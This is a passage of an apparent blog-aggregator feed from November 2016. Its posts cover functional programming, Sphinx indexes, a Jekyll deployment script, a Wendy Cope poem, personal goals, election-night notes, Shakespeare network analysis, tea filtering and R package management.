&lt;p&gt;Beyond just having your ops team hate you, this style of coding also is very difficult to test, because you have to have the configuration server/files, your database, etc. available just to run the code, even if you're not testing that interaction.&lt;/p&gt;
&lt;p&gt;So, how do you resolve both of these cases? Basically, you do what you are supposed to do in any functional programming language: cleanly separate anything that is "pure" (no side effects, no IO) from anything that relies on the outside world.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Hopefully by now, you have the basic flavor of functional programming and you've seen how it has influenced Spark, and big data in general. There is a lot here to learn, but it is worth it and will ultimately make you a stronger engineer by giving you a second, independent way of thinking about your problems.&lt;/p&gt;
&lt;p&gt;If you have any questions, feel free to contact me (info in the side bar).&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Sat, 12 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/functional-programming-and-big-data/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Sphinx Real Time Index How to Distribute and Hidden Gotcha</title><link>https://boyter.org/2016/11/sphinx-real-time-index-distribute-hidden-gotcha/</link><description>&lt;p&gt;I have been working on real time indexes with Sphinx recently for the next version of searchcode.com and ran into a few things that were either difficult to search for or just not covered anywhere.&lt;/p&gt;
&lt;p&gt;The first is how to implement a distributed search using real time indexes. It&amp;rsquo;s actually done the same way you would normally create an index. Say you had a single server with 4 index shards on it and you wanted to run queries against it. You could use the following,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 11 Nov 2016 11:34:42 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/11/sphinx-real-time-index-distribute-hidden-gotcha/</guid></item><item><title>The Orange by Wendy Cope</title><link>https://ho.dges.online/words/commonplace/the-orange-by-wendy-cope/</link><description>&lt;p&gt;At lunchtime I bought a huge orange -&lt;br /&gt;
The size of it made us all laugh.&lt;br /&gt;
I peeled it and shared it with Robert and Dave -&lt;br /&gt;
They got quarters and I had a half.&lt;/p&gt;
&lt;p&gt;And that orange, it made me so happy,&lt;br /&gt;
As ordinary things often do&lt;br /&gt;
Just lately. The shopping. A walk in the park.&lt;br /&gt;
This is peace and contentment. It’s new.&lt;/p&gt;
&lt;p&gt;The rest of the day was quite easy.&lt;br /&gt;
I did all the jobs on my list&lt;br /&gt;
And enjoyed them and had some time over.&lt;br /&gt;
I love you. I’m glad I exist.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 11 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/the-orange-by-wendy-cope/</guid></item><item><title>Death's End</title><link>https://nindalf.com/posts/deaths-end/</link><description>Liu Cixin's Death's End is a special set of books that puts as much Science as it can in Science Fiction.</description><author>Krishna's blog</author><pubDate>Thu, 10 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nindalf.com/posts/deaths-end/</guid></item><item><title>Automated Jekyll Deployments</title><link>https://www.mikekasberg.com/blog/2016/11/08/automated-jekyll-deployments.html</link><description>&lt;p&gt;My last post was about using Jekyll as a podcasting platform. Now, I want to
talk about how I set up automatic deployments with Jekyll. I’m deploying to a
Dreamhost server, but the principles I applied should work for most servers that
provide ssh access.&lt;/p&gt;

&lt;h2 id="why"&gt;Why?&lt;/h2&gt;

&lt;p&gt;Automatic deployment is important to me. Anything that is not automated is
error-prone, and I don’t want to run that risk when deploying my website. With
the podcast site I recently developed, there was an additional benefit. I wanted
to be able to schedule the podcast to publish an episode at a specific time
(preferably overnight), without having to interact with it during the
delpoyment. This was important because we publish our podcast at a regular
interval. With automated deployment, I don’t need to worry about modifying my
schedule to make sure I’m free at the time we need to publish the episode.&lt;/p&gt;

&lt;h2 id="how"&gt;How?&lt;/h2&gt;

&lt;p&gt;The idea for this setup is pretty simple. We were already using Git for version
control. To setup automated deployments, I began by simply putting a bare Git
repo on our Dreamhost server. Developers can push to this repo via ssh just like
any other repo.&lt;/p&gt;

&lt;p&gt;With the Git repository on the web server itself, it is easy to write a script
that builds and deploys the site from that repository. The script itself isn’t
too complex.  It just checks out a copy of our source, uses Jekyll to build it,
and then deploys it to our public html folder. The hardest piece of all of this
was getting Jekyll to run on our Dreamhost server - which we accomplished with
Ruby RVM and a user install of Jekyll.&lt;/p&gt;

&lt;p&gt;Here’s a slightly simplified version of our deployment script:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;GIT_REPO&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;/myjekyllsite.git
&lt;span class="nv"&gt;TMP_GIT_CLONE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;/tmp/myjekyllsite
&lt;span class="nv"&gt;PUBLIC_WWW&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;/mypodcast.com

&lt;span class="c"&gt;# Check out the Git repository so we have a working copy in a temp dir.&lt;/span&gt;
git clone &lt;span class="nv"&gt;$GIT_REPO&lt;/span&gt; &lt;span class="nv"&gt;$TMP_GIT_CLONE&lt;/span&gt;

&lt;span class="c"&gt;# Build it.&lt;/span&gt;
jekyll build &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nv"&gt;$TMP_GIT_CLONE&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;$TMP_GIT_CLONE&lt;/span&gt;/_site

&lt;span class="c"&gt;# Deploy it.&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nv"&gt;$TMP_GIT_CLONE&lt;/span&gt;/_site/&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="nv"&gt;$PUBLIC_WWW&lt;/span&gt;

&lt;span class="c"&gt;# Clean up.&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; &lt;span class="nv"&gt;$TMP_GIT_CLONE&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Done."&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="so"&gt;So?&lt;/h2&gt;

&lt;p&gt;Using a script like this to deploy our Jekyll site has been great! Since the
process is entirely scripted, there’s little room for error. Also, deploying the
site on a regular schedule is as simple as running this script from a cron job.
By default, Jekyll will not publish anything with a future date, so we can queue
up as many posts as we want which will be automatically published in the future.
This method of deployment has simplified our process and removed some of the
risk normally associated with updates.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Wed, 09 Nov 2016 05:40:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2016/11/08/automated-jekyll-deployments.html</guid></item><item><title>November 2016 Goals</title><link>https://josh.works/november-2016-goals</link><description>&lt;h1 id="november-2016-goals"&gt;November 2016 Goals&lt;/h1&gt;

&lt;p&gt;Note to the reader: The words that follow are all about me. Very naval-gaze-ish. I feel I owe you this warning.&lt;/p&gt;

&lt;p&gt;My November goals are an extension of my
&lt;a href="/october-2016-review"&gt;October goals&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;October was good (
&lt;a href="/october-2016-review"&gt;October review&lt;/a&gt;) - I made progress on two of three projects, and one of those projects need to conclude to make space for the third. (I want to wrap up a course from
&lt;a href="http://www.climbersguide.co"&gt;www.climbersguide.co&lt;/a&gt;, and once that hits a stable finish state, I’ll switch to prep for Turing School.)&lt;/p&gt;

&lt;h2 id="deepen-my-knowledge-of-front-end-web-development"&gt;Deepen my knowledge of front-end web development&lt;/h2&gt;

&lt;p&gt;Same goal as last year - finish up the current tutorial, and then sketch out small next steps and start studying.
&lt;a href="http://exercism.io/"&gt;exercism.io&lt;/a&gt; is a good place to work on little problems and practice a bit.&lt;/p&gt;

&lt;h2 id="climb-513"&gt;Climb 5.13&lt;/h2&gt;

&lt;p&gt;Last month I sent my first 5.12d outside. A few days later I sent my first 5.13a in the gym. I can do all the moves on another 5.13a, all but one move on a 13c, and almost all of them on a 13d. Due to the inflation of indoor grades compared with outdoor grades, I’m thinking the indoor 13d might be a real 5.13a in difficulty.&lt;/p&gt;

&lt;p&gt;Basically, I’m breaking into solid indoor 5.13 territory, in part because I’m getting better at remembering my sequences.&lt;/p&gt;

&lt;p&gt;I’m still trying to figure out what my weaknesses are, in order to train my weakness instead of my strength. I’ve historically enjoyed training contact strength, but I believe I’m a bit short on movement strength, and absolutely terrible with technique. So, I am trying to train my technique.&lt;/p&gt;

&lt;h2 id="get-the-climbers-guide-rolling"&gt;Get “The Climber’s Guide” rolling&lt;/h2&gt;

&lt;p&gt;I’m building out an email drip campaign that concludes with a
hard sale(after delivering amazingly valuable guides), pointing people to a sales page (er, I need to write that, too), for the course.&lt;/p&gt;

&lt;p&gt;I’ve worked with some lead climbers in person, working through the basics of the program, and I’ve gotten great feedback. Things like “ life changing” and “my climbing will not be the same”.&lt;/p&gt;

&lt;p&gt;I’m working on working with a larger group of people, and I’d like to get some video from them doing the exercises, so others can follow along on their own, but it’s
really encouraging, the kind of feedback I’m getting.&lt;/p&gt;

&lt;p&gt;I’m gonna launch with just the course + video at $67, with perhaps a more expensive offer at ~$197 including lots of my dedicated time, 1:1. (I could see doing face-time sessions or something, while the climber/belayer are doing the exercises). That will be partially to take advantage of the price anchoring effect, partially because some people will know they want the high-touch version, and $200 is nothing in comparison to what they’ll get in return.&lt;/p&gt;

&lt;h2 id="misc"&gt;Misc&lt;/h2&gt;

&lt;p&gt;Random self-reflections.&lt;/p&gt;

&lt;h3 id="phone-usage"&gt;Phone Usage&lt;/h3&gt;

&lt;p&gt;I’ve disabled my Twitter account. I changed the password to a random string, and then
&lt;a href="http://lettertomyfutureself.net/"&gt;wrote an email to my future self&lt;/a&gt; with the password enclosed. Delivery date is sometime in August 2017. I know I could force a password reset, but knowing the password is coming, and introducing friction to the system makes me pay way less attention to the app.&lt;/p&gt;

&lt;p&gt;I deleted Instagram as well.&lt;/p&gt;

&lt;p&gt;Both of these changes have helped me spend a LOT less time on my phone every day.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Screenshot thanks to PhoneUsage app (Android). It's gamified not spending time on my phone. (Moment for iPhone looks like a nice equivalent.)" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_58226b35e4fcb51f79318995_1478650686507__img.png_" /&gt; Screenshot thanks to PhoneUsage app (Android). It’s gamified not spending time on my phone. (Moment for iPhone looks like a nice equivalent.)&lt;/p&gt;

&lt;h3 id="reading"&gt;Reading&lt;/h3&gt;

&lt;p&gt;I’m building in even more reading time to my schedule every day too. It’s stupid, but I sorta-accidentally set a goal of reading 100 books this year. 
&lt;a href="https://www.goodreads.com/user/show/27372191-josh-thompson"&gt;I’m at 62 books&lt;/a&gt; and no where close to hitting the goal of 100, (I had a three-month period where I read very little, for some reason) but I think I’m aiming to clear 75 books by end-of-year. I read about 50 last year, and plan on reading many fewer next year.&lt;/p&gt;

&lt;p&gt;My effort to read 100 has made me read books that I would otherwise not have read. If it’s short, and I get 30% of the way through and decide I don’t want to finish, instead of stopping reading it (like I would normally do) I sometimes find myself trying to finish it. This is a bad use of time, but… oh well.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 09 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/november-2016-goals</guid></item><item><title>Trumped in SF</title><link>https://faingezicht.com/photos/2016/11/09/trumped/</link><description>It has been a crazy few months. Yesterday and today were rough days.

Tonight, as I was preparing dinner at Hannah's, we suddenly heard a ton of noise outside. We knew it was a protest, and decided to go see the what was happening around 24th Street BART. We ended up walking all the way to City Hall.

All ages, all races, all genders. People cried. People hugged strangers. People empathized.

How amazing is San Francisco?</description><author>Avy Faingezicht</author><pubDate>Wed, 09 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/11/09/trumped/</guid></item><item><title>2016.11.08</title><link>https://www.wints.org/daypages/2016.11.08/</link><description>&lt;p&gt;woke up in a flight basically. landed drove back, moved tatami mats inside and went to vote.
important important election - don&amp;rsquo;t think my vote will matter much in califoria.&lt;/p&gt;
&lt;p&gt;ran into gail, our landlord, at the voting booth, handed her the checks we owed them for rent.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Wed, 09 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.08/</guid></item><item><title>Don’t build cockpits, become a coach</title><link>https://bytepawn.com/data-science-coaching.html</link><description>&lt;p&gt;I used to think that a good analogy for using data is the instrumentation of a cockpit in an airliner. Lots of instruments, and if they fail, the pilot can’t fly the plane and bad things happen. There’s no autopilot for companies. The problem with this analogy is that planes aren’t built in mid-air. Product teams and companies constantly need to build and ship new products.&lt;br /&gt;&lt;br /&gt;&lt;img alt="A big complicated cockpit" src="/images/hosszu-shane.jpg" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Wed, 09 Nov 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/data-science-coaching.html</guid></item><item><title>The Walking Dead: Season 7</title><link>https://olshansky.info/tv/the_walking_dead_season_7/</link><description>Olshansky's review of The Walking Dead: Season 7</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 09 Nov 2016 00:46:12 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_walking_dead_season_7/</guid></item><item><title>Podcast Roster</title><link>https://peterlyons.com/problog/2016/11/podcast-roster/</link><description>&lt;p&gt;Here's a snapshot of podcasts I'm checking out these days.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://nodeup.com/"&gt;Node Up&lt;/a&gt; for all things node.js&lt;/li&gt;
&lt;li&gt;&lt;a href="https://changelog.com/"&gt;The Changelog&lt;/a&gt; Open source in general. Great podcast.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.cognitect.com/cognicast"&gt;The Cognicast&lt;/a&gt; From Cognitect, the company behind Clojure and Datomic. I don't do any clojure work currently but this interview-style show is always full of enlightened discussion and highly interesting.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://javascriptair.com/"&gt;JavaScript Air&lt;/a&gt; no longer active but lots of good episodes to review. I was a guest recently.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devchat.tv/js-jabber"&gt;JS Jabber&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devchat.tv/freelancers"&gt;The Freelancer's Show&lt;/a&gt; Panel discussions on freelancing. I liked some of the earlier episodes more than the more recent stuff, but it's a good source of exposure to others' experiences freelancing&lt;/li&gt;
&lt;li&gt;&lt;a href="https://softskills.audio/"&gt;Soft Skills Engineering&lt;/a&gt; only recently started listening to this but I'm hoping to learn from it&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thewebplatform.libsyn.com/"&gt;The Web Platform Podcast&lt;/a&gt; A bit more front-end focused so I cherry pick episodes that seem interesting&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.se-radio.net/"&gt;Software Engineering Radio&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Pete's Points</author><pubDate>Tue, 08 Nov 2016 21:53:02 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/11/podcast-roster/</guid></item><item><title>Thoughts on used bicycles</title><link>https://www.davidschlachter.com/misc/bicycle</link><description>Things I look for when choosing or improving a bicycle.</description><author>David Schlachter</author><pubDate>Tue, 08 Nov 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/bicycle</guid></item><item><title>In Search of the Best Net Promoter Score Software</title><link>https://solomon.io/best-net-promoter-score-software/</link><description>What is the best Net Promoter Score software? After spending time researching several NPS survey tools, we’ve got some answers.</description><author>Sam Solomon</author><pubDate>Tue, 08 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/best-net-promoter-score-software/</guid></item><item><title>The Topology of Shakespearean Social Networks</title><link>https://bastian.rieck.me/blog/2016/topology_shakespearean_social_networks/</link><description>&lt;p&gt;In &lt;a href="https://bastian.rieck.me/blog/2016/introduction_shakespeare_social_network_analysis/"&gt;a previous article&lt;/a&gt;, I have
already talked about the motivation behind analysing social networks of Shakespeare’s plays.
Since then, I have pursued this subject somewhat further. In particular, I took some time to
formulate a more methodical analysis approach.&lt;/p&gt;
&lt;p&gt;The result is a nice short paper, titled &lt;a href="https://bastian.rieck.me/research/Vis2016.pdf"&gt;&lt;em&gt;‘Shall I compare thee to a
network?’—Visualizing the Topological Structure of Shakespeare’s
Plays&lt;/em&gt;&lt;/a&gt;. I was very honoured to present this at the &lt;a href="http://vis4dh.com"&gt;2016 Workshop on
Visualization for the Digital Humanities at IEEE Vis 2016&lt;/a&gt;. It was a great venue
with lots of interesting papers and I urge you to &lt;a href="http://vis4dh.com/#papers"&gt;take a look at the list of
submissions&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Our paper follows the basic strategy outlined in the previous blog post.
Hence, we first extract a co-occurrence network between characters of a play is being extracted.
There are numerous ways of doing that, and each different way influences the structures that may be
detected in a subsequent analysis step. In the paper, I present two different weight schemes. One is
based on the amount of speech uttered by each character, the other one measures the point in time at
which characters start to interact with each other.&lt;/p&gt;
&lt;p&gt;The co-occurrence network is then subjected to a topological analysis based on persistent homology.
Basically, we consider the network to &lt;em&gt;grow&lt;/em&gt; in accordance to the weights. This permits us to treat
it as a &lt;em&gt;graph-based filtration&lt;/em&gt;, which in turn means that we may calculate &lt;em&gt;persistence diagrams&lt;/em&gt;
and, from that, derive a measure of dissimilarity. The interesting thing here is that this approach
results in well-defined distances between individual plays—meaning that we can measure
structural differences and structural similarities.&lt;/p&gt;
&lt;p&gt;The paper contains some results that appear to indicate the utility of this approach. Without
further training, our algorithm is capable of figuring out that &lt;em&gt;All’s Well That Ends Well&lt;/em&gt; is
a comedy that is structurally extremely dissimilar to all remaining comedies. This is interesting,
insofar as this play is considered to be one of Shakespeare’s &lt;a href="https://en.wikipedia.org/wiki/Shakespearean_problem_play"&gt;problem plays&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the &lt;a href="https://bastian.rieck.me/research/Vis2016.pdf"&gt;paper&lt;/a&gt;, we describe more results of the same ilk. I have made the
networks available &lt;a href="https://github.com/Pseudomanifold/Shakespeare"&gt;on GitHub&lt;/a&gt;, where I also plan on
uploading code for calculating the dissimilarity measure.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Mon, 07 Nov 2016 22:58:52 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/topology_shakespearean_social_networks/</guid></item><item><title>El Nombre del Viento</title><link>https://danielpecos.com/2016/11/07/el-nombre-del-viento/</link><description>&lt;p align="justify"&gt;
  &lt;a href="https://www.amazon.es/nombre-del-viento-BEST-SELLER/dp/8499082475%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D8499082475"&gt;&lt;img alt="El Nombre del Viento" class="alignleft size-full" height="532" src="https://danielpecos.com/assets/2017/10/El-Nombre-del-Viento.jpg" width="350" /&gt;&lt;/a&gt;Asesino, músico, mendigo, estudiante, ladrón, mago y héroe: ésta es la verdadera historia de Kvothe. Tras soportar los cotilleos, rumores y conjeturas que las personas hicieron sobre su vida, en &lt;strong&gt;El Nombre del Viento&lt;/strong&gt; se narra las verdaderas vivencias de su auténtica y dificultosa existencia en el mundo.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Se trata de una novela llena de fantasía escrita por el estadounidense Patrick Rothfuss, su primera edición fue en 2011 y hoy en día cuenta con muy buenos comentarios de críticos en todo el mundo. Este libro ganó el Premio Pluma al mejor libro en el género de literatura fantástica, lo cual representó un impulso para que su autor se dedicara con más pasión a la escritura.
&lt;/p&gt;
&lt;p align="justify"&gt;
  “&lt;em&gt;He recorrido de noche caminos de los que otros no se atreven a hablar ni siquiera de día. He hablado con dioses, he amado a mujeres y he escrito canciones que hacen llorar a los bardos. Me llamo Kvothe. Quizá hayas oído hablar de mí.&lt;/em&gt;”
&lt;/p&gt;
&lt;p align="justify"&gt;
  Después de tanto, en esta historia Kvothe narra la verdad sobre sí mismo. Ante todo lo que ha pasado, siempre debe haber un comienzo: su infancia con sus padres en una troupe. Durante sus años de crecimiento y gracias a su familia, se encuentra constantemente relacionado con la actuación, la música, los juglares y la acrobacia.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Debido a este ambiente artístico donde pasó la mayor parte de su vida, Kvothe se convirtió en un niño con mucho talento para la música y los cuentos, además todos lo conocían como una persona diplomática, alegre y muy servicial.
&lt;/p&gt;
&lt;h3 align="justify"&gt;
  Viajé, amé, perdí, confié y me traicionaron
&lt;/h3&gt;
&lt;p align="justify"&gt;
  El nombre del viento cuenta de manera detallada los años de Kvothe malviviendo como ladrón en la gran ciudad, cometiendo pequeños y grandes crímenes que le dan rumbos inesperados a la historia. Mediante pasan los años, el protagonista conoce a distintas personas que se vuelven parte importante de la historia.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Después de distintos retos y acontecimientos, el protagonista de esta historia viaja a la universidad, un reconocido centro de educación mágica donde lograr encontrar muchas de las respuestas que había estado buscando hacía tanto tiempo; este centro de formación es para personas con dinero y poder adquisitivo, lo que le dificulta su aprendizaje y su estadía en el lugar.
&lt;/p&gt;
&lt;p align="justify"&gt;
  “&lt;em&gt;He robado princesas a reyes agónicos. Incendié la ciudad de Trebon. He pasado la noche con Felurian y he despertado vivo y cuerdo. Me expulsaron de la Universidad a una edad a la que a la mayoría todavía no los dejan entrar&lt;/em&gt;”
&lt;/p&gt;
&lt;p align="justify"&gt;
  El libro tiene dos líneas temporales diferentes: el pasado narrado por Kvothe, basados en sus recuerdos y vivencias memorables; y el presente, narrado en tercera persona. La novela pese a tantos acontecimientos inesperados, se desarrolla en un solo día.
&lt;/p&gt;
&lt;p align="justify"&gt;
  Desde su lanzamiento, esta historia ha causado un impacto positivo en los críticos literarios y los amantes del género fantástico; finalmente, después de tantas especulaciones y rumores, en el nombre del viento se narra los sucesos reales y la verdadera historia de Kvothe.
&lt;/p&gt;
&lt;p align="justify"&gt;
  &lt;noscript&gt;
  &lt;/noscript&gt;
&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Mon, 07 Nov 2016 08:00:50 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/07/el-nombre-del-viento/</guid></item><item><title>Plan de ahorro personal</title><link>https://danielpecos.com/2016/11/07/plan-de-ahorro-personal/</link><description>&lt;p&gt;&lt;img alt="Plan de ahorro" class="alignleft size-medium" height="300" src="https://danielpecos.com/assets/2016/11/business-man-in-a-presentation_1133-197.jpg" width="300" /&gt;Tras unos días de análisis e introspectiva financiera, he conseguido detallar cuáles son mis gastos previsibles mes a mes, por lo que creo que me encuentro en situación de pasar a la siguiente fase: &lt;strong&gt;definir un plan de ahorro personal&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Voy a optar por un plan bastante agresivo, puesto que mi colchón actual está completamente deshinchado y esto es algo que me hace sentir poco seguro. Tras hablarlo con mi mujer, hemos decidido apretarnos un poco el cinturón con el fin de poder corregir esta situación. Así que nos hemos fijado como objetivo ahorrar el 25% de nuestro salario cada mes. Una vez alcancemos la cantidad de 2000€ en líquido, el resto de los futuros ahorros los invertiremos en bolsa a largo plazo y plazos fijos. No tengo todavía claro en qué porcentaje, pero todavía tengo tiempo disponible para pensarlo.&lt;/p&gt;
&lt;p&gt;Comprobando el balance financiero personal que desarrollé, durante 5 de los 12 meses nuestro disponible mensual se queda por debajo de este 25% del salario, a veces por mucho y otras veces por menos. Para los otros 7 meses, por lo normal el disponible es bastante mayor al porcentaje de ahorro, por lo que espero poder compensar unos meses con otros. ¿Cómo? &lt;strong&gt;Teniendo unos 2000€ líquidos siempre en cuenta&lt;/strong&gt;, de forma que en los meses que el ahorro del 25% se cubra íntegramente con el salario del mes, hincharé el colchón con el resto disponible en en líquido para poder complementar el salario de los meses más duros y así conseguir la meta del 25% todos los meses.&lt;/p&gt;
&lt;p&gt;Siguiendo el objetivo inicial de esta página, voy a tratar de publicar de forma periódica (seguramente trimestral) un pequeño análisis de cómo van estos objetivos, y ver cómo de cerca o lejos me encuentro de esta meta de ahorro.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lo primero: reducir gastos superfluos&lt;/strong&gt;, que gracias al balance financiero es muchísimo más fácil identificarlos ahora que cuando no disponía de esta herramienta. Además me permite focalizar esfuerzos en aquello que me va a generar un mayor retorno.&lt;/p&gt;
&lt;p&gt;¡Manos a la obra!&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Mon, 07 Nov 2016 07:45:47 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/07/plan-de-ahorro-personal/</guid></item><item><title>Clean Tea - Part III</title><link>https://www.craigpardey.com/post/2016-11-07-clean-tea-part-iii/</link><description>&lt;p&gt;This is a continuation of my post about &lt;a href="https://www.craigpardey.com/2016/09/clean-tea"&gt;clean tea&lt;/a&gt;, except this time I analysed the offerings from &lt;a href="http://www.tealyra.ca"&gt;Tealyra&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tealyra by the numbers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;490 teas (excluding kits and samplers)&lt;/li&gt;
&lt;li&gt;175 contain sugar and/or flavourings&lt;/li&gt;
&lt;li&gt;187 caffeine-free&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So I filtered the list to only show teas with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No caffeine&lt;/li&gt;
&lt;li&gt;No sugar&lt;/li&gt;
&lt;li&gt;No stevia&lt;/li&gt;
&lt;li&gt;No flavourings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;86 teas on the Tealyra® menu pass my filter for what I would consider to be &amp;ldquo;clean&amp;rdquo; which makes Tealyra the best of the three that I&amp;rsquo;ve looked at so far.  Overall the offerings from Tealyra are pretty decent once you filter out the ones with sweeteners and/or flavourings however I felt overwhelmed by the sheer number of options.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Mon, 07 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-11-07-clean-tea-part-iii/</guid></item><item><title>How to Stop R Projects and Scripts Breaking</title><link>https://lukesingham.com/using-package-management-in-r/</link><description>&lt;p&gt;&lt;em&gt;A how-to in getting started with Package Management in R&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; Let's say you coded a project in &lt;code&gt;R&lt;/code&gt; in 2014 using the package &lt;a href="http://dplyr.tidyverse.org/"&gt;&lt;code&gt;dplyr&lt;/code&gt;&lt;/a&gt; and you called the project &lt;code&gt;2014project&lt;/code&gt;. Over time packages get updated, sometimes changing syntax and function names, let's say some major syntax changes occurred in 2015 to &lt;code&gt;dplyr&lt;/code&gt; and you used the latest version of &lt;a href="http://dplyr.tidyverse.org/"&gt;&lt;code&gt;dplyr&lt;/code&gt;&lt;/a&gt; in other projects in 2015. Now you come to 2016 and you want to re-run the code in the &lt;code&gt;2014project&lt;/code&gt;, but you find a bunch of errors because in 2015 dplyr had those syntax changes, such that the syntax you used in 2014 no longer computes. Now for the &lt;strong&gt;solution&lt;/strong&gt;...&lt;/p&gt;
&lt;p&gt;R scripts breaking over time is annoying for anyone, but it's worth highlighting that organisations using proper package management will significantly decrease their costs in the form of maintenance time spent by developers, data scientists and data analysts fixing projects broken due to changes in package dependencies. In contrast to the Python community who seem very familiar with their &lt;a href="https://virtualenv.pypa.io/en/stable/"&gt;&lt;code&gt;virtualenv&lt;/code&gt; package management&lt;/a&gt;, the R community doesn't seem to have widely adopted the practice. In the data science world, I attribute this difference between the R and Python communities to Python coming out of the computer science discipline and R coming from the statistics discipline. If you are an organisation heavily using R, you have a lot of productivity to gain from the adoption of package management by your R developers.&lt;/p&gt;
&lt;h2 id="packrat"&gt;Packrat &lt;a class="direct-link" href="https://lukesingham.com/using-package-management-in-r/#packrat"&gt;#&lt;/a&gt;&lt;/h2&gt;
